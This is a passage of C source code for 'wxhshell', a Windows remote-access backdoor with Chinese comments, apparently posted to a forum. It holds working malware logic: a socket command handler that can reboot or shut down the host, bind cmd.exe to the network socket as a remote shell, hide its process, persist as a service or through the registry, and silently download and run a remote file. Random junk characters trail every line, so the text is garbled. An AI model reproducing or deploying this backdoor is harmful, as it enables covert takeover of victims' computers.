      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "\R@l Ux.Y  
    break; 1,*Z_ F=y  
  } MU^xu&MB  
  // 安装 jmZ|b6  
  case 'i': { cr=FMfhB  
    if(Install()) JE8p5WaR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I,`D&   
    else hjm .Ath  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $'I$n  
    break; ,co9f.(w  
    } y>pq*i  
  // 卸载 Xj@    
  case 'r': { "8j;k5<  
    if(Uninstall()) vSHIl"h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #uRq] 'P  
    else si"mM>e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^VLUZ  
    break; =QxE-)v  
    } \`iW__  
  // 显示 wxhshell 所在路径 BBuYO$p  
  case 'p': { (HX[bG`  
    char svExeFile[MAX_PATH]; l4BO@   
    strcpy(svExeFile,"\n\r"); (Q p] 0  
      strcat(svExeFile,ExeFile); ]&tr\-3  
        send(wsh,svExeFile,strlen(svExeFile),0); +/UXy2VRt$  
    break; \kJt@ [w%  
    } B,na  
  // 重启 R.WsC bU  
  case 'b': { c%,6L<[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *U^\Mwp  
    if(Boot(REBOOT)) x) qHeS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,knI26Jh  
    else { @Y<ZT;J  
    closesocket(wsh); `F`'b)  
    ExitThread(0); u B%^2{uU  
    } ^1& LHrT  
    break; z o))x(  
    } {*r$m>HpM  
  // 关机 ]GPz>k  
  case 'd': { [ BC%$Sj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1AkHig,  
    if(Boot(SHUTDOWN)) `h{mj|~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :W<,iqSCm  
    else { X\)KVn`  
    closesocket(wsh); [^BUhm3a  
    ExitThread(0); 2bG4 ,M  
    } AT'$VCYC(  
    break;  G#n)|p  
    } 7a_n\]t465  
  // 获取shell A VG`r2T  
  case 's': { jO N}&/  
    CmdShell(wsh); eeTaF!W  
    closesocket(wsh); !!X9mI|2|  
    ExitThread(0); +=04X F:  
    break; 7tO$'q*h  
  } 7,VWvmWJex  
  // 退出 ph (k2cb  
  case 'x': { IMw)X0z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P\0%nyOG(%  
    CloseIt(wsh); `V2j[Fz  
    break; 'Mhdw}  
    } !w\;Q8irN  
  // 离开 >w#3fTJ  
  case 'q': { .wn_e=lT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); / H/Ne )r  
    closesocket(wsh); 1gK3= Ys  
    WSACleanup(); eZkz 1j~  
    exit(1); }ucg!i3C  
    break; 5kZ yiC*  
        } Y]0y -H  
  } qinQ5t  
  } =zGz|YI*?  
{!bJ.O l  
  // 提示信息  ,qqV11P]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < l ^ Z;.  
} =9MH  
  } (pNng"/  
FLOJ  
  return; {oeQK   
} 7ij=%if2@k  
'J2P3t  
// shell模块句柄 .HJHJ.Js8X  
int CmdShell(SOCKET sock) L,GtIZkE  
{ $X]v;B)J|  
STARTUPINFO si; 64s;6=  
ZeroMemory(&si,sizeof(si)); =D$r5D/xd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `t2! M\)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x"T^>Q  
PROCESS_INFORMATION ProcessInfo; $QnfpM%+=  
char cmdline[]="cmd"; # =3]bg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |{"7/~*[  
  return 0; Tr!X2#)A!  
} }'- )  
9>P(eN  
// 自身启动模式 oI/ThM`=q  
int StartFromService(void) F9hWB17u  
{ je% 12DM  
typedef struct   {`  
{ =Ji:nEl]z  
  DWORD ExitStatus; -6>rR{z  
  DWORD PebBaseAddress; Rgu^> ~   
  DWORD AffinityMask; Rw% KEUDm  
  DWORD BasePriority; q;JQs:U!  
  ULONG UniqueProcessId; np(<Ap r  
  ULONG InheritedFromUniqueProcessId; N*W.V,6yH  
}   PROCESS_BASIC_INFORMATION; X2Mj|_#u  
n4,J#h/  
PROCNTQSIP NtQueryInformationProcess; | w -W=v  
$!w%=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =G6@:h=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %4J?xhd  
V:18]:  
  HANDLE             hProcess; 2T5ZbXc+x  
  PROCESS_BASIC_INFORMATION pbi; {lJpcS  
LLiX%XOh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i YkNtqn/  
  if(NULL == hInst ) return 0; Sq%R  
,88}5)b[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u)-l+U.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l"CONzm!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'z/hj>B<  
{rQ`#?J}^?  
  if (!NtQueryInformationProcess) return 0; ?*=Jq  
`^ok5w"oi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *d 4D9(  
  if(!hProcess) return 0; ]LjW,b"  
"^`AS"z'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #q%/~-Uk  
gO%3~f!vY#  
  CloseHandle(hProcess); gqd#rjtfz  
J5wq}<8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I]58;|J  
if(hProcess==NULL) return 0; `KN{0<Ne  
q=U=Y n  
HMODULE hMod; "\ md  
char procName[255]; O#g31?TO  
unsigned long cbNeeded; (#~063N,#  
%?ad.F+7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I5{SC-7  
\oyr[so(i  
  CloseHandle(hProcess); <pCZ+Yv E"  
wbTw\b=  
if(strstr(procName,"services")) return 1; // 以服务启动 t V</ x0#  
v2NzPzzyb  
  return 0; // 注册表启动 xQ4Q'9  
} o/&Q^^Xj^~  
K7|BXGL8r8  
// 主模块 L fhd02  
int StartWxhshell(LPSTR lpCmdLine) q4{ 6@q  
{ $ |AxQQ%f  
  SOCKET wsl; ~O!v?2it8q  
BOOL val=TRUE; /n_N`VJ7H  
  int port=0; NeYj[Q~xy  
  struct sockaddr_in door; &0'BCT  
k# /_Zd  
  if(wscfg.ws_autoins) Install(); B--`=@IRf"  
D?$f[+  
port=atoi(lpCmdLine); ].eGsh2  
}0:=)e  
if(port<=0) port=wscfg.ws_port; 7+fFKZFKF  
|X>:"?4t  
  WSADATA data; ^vUdf.n9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mU;TB%#)  
)l^w _;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y`%:hvy~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I_Q'+d  
  door.sin_family = AF_INET; ?g 1%-F+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7P=j2;7 v  
  door.sin_port = htons(port); KdUmetx1  
mDtD7FzJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VgOj#Z?K  
closesocket(wsl); {$b]K-B  
return 1; WSL_Dc  
} Gt'%:9r  
 QHOem=B  
  if(listen(wsl,2) == INVALID_SOCKET) { 94Z~]C  
closesocket(wsl); MbYAK-l.h  
return 1; bPWIf*3#  
} k \|Hd"T  
  Wxhshell(wsl); -3A#a_fu  
  WSACleanup(); VHJOj  
.Um.dXBYU  
return 0; ht ` !@B  
F4@``20|  
} k? X7h2  
7i`8 c =.  
// 以NT服务方式启动 7Q2"]f,$CQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r\Zz=~![<  
{ npZ=x-ce  
DWORD   status = 0; xDm^f^}>  
  DWORD   specificError = 0xfffffff; %R(1^lFI$  
?Jio9Zr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s+l)Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7YrX3Hx 8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H1]G<N3  
  serviceStatus.dwWin32ExitCode     = 0; 4gzrxV  
  serviceStatus.dwServiceSpecificExitCode = 0; x xWnB  
  serviceStatus.dwCheckPoint       = 0; CNQ>J`4  
  serviceStatus.dwWaitHint       = 0; })%WL;~  
q,A;d^g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  1)U%p  
  if (hServiceStatusHandle==0) return; LNPwb1)  
4vQ]7`I.f  
status = GetLastError(); rjHL06qE  
  if (status!=NO_ERROR) eJlTCXeZ|  
{ 4*&_h g)h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x8+W9i0[1  
    serviceStatus.dwCheckPoint       = 0; eX;C.[&7;8  
    serviceStatus.dwWaitHint       = 0; gZ8n[zxf6  
    serviceStatus.dwWin32ExitCode     = status; kdcr*7w  
    serviceStatus.dwServiceSpecificExitCode = specificError; e@|/, W   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &==X.2XW  
    return; Hx5t![g2K!  
  } U= QfInB  
lu2"?y[2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e:#c\Ay+  
  serviceStatus.dwCheckPoint       = 0; s~V%eq("}  
  serviceStatus.dwWaitHint       = 0; JL.noV3q$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8&+m5x S  
} oP vk ^H  
~?`V$G=?,  
// 处理NT服务事件,比如:启动、停止 tn>z%6;&Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QU{|S.\  
{ V}_M\Y^^;  
switch(fdwControl) \qk+cK;+  
{ y(!J8(yA  
case SERVICE_CONTROL_STOP: XpS].P9  
  serviceStatus.dwWin32ExitCode = 0; D_VAtz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cp{ j+Ia  
  serviceStatus.dwCheckPoint   = 0; NFxs4:] RT  
  serviceStatus.dwWaitHint     = 0; JWzN 'a R  
  { St 4YNS.|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2g?O+'JD  
  } wd 86 y  
  return; EdgcdSb7  
case SERVICE_CONTROL_PAUSE: j6@5"wx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TX/Ng+v S  
  break; ~m@v ~=  
case SERVICE_CONTROL_CONTINUE: ii,/omn:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rsSE*(T t  
  break; tw{V7r~n  
case SERVICE_CONTROL_INTERROGATE: N i\*<:_  
  break; e&*< "WN  
}; T;{M9W+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b3$aPwv  
} Y5rR  
AC'$~4  
// 标准应用程序主函数 b d!|/Lk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D H}gvV  
{ cU`sA_f  
pzL !42  
// 获取操作系统版本 *p&c}2'  
OsIsNt=GetOsVer(); 4&TTPcSt;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1lAx"VL  
N^u,C$zP9C  
  // 从命令行安装 E Ux kYl  
  if(strpbrk(lpCmdLine,"iI")) Install(); $]H^?  
8V]oR3'  
  // 下载执行文件 _4H}OGZI  
if(wscfg.ws_downexe) { ">?ocJ\9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zQ[g*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4d\"gk  
} j9sK P]w  
^g[,}t:/d  
if(!OsIsNt) { E Z^eEDZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^4D7sS;~3  
HideProc(); 7.G1Q]6/  
StartWxhshell(lpCmdLine); $m$tfa-  
} GQZLOjsop  
else {|{}]B  
  if(StartFromService()) v7;zce/~  
  // 以服务方式启动 *""JE'wG  
  StartServiceCtrlDispatcher(DispatchTable); %&D,|Yl6  
else co <ATx  
  // 普通方式启动 #1>DV@^F  
  StartWxhshell(lpCmdLine); ?zypF 5a  
Y6_%HYI$  
return 0; kPh;SCr{  
}
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只看该作者 1 发表于: 2006-10-10
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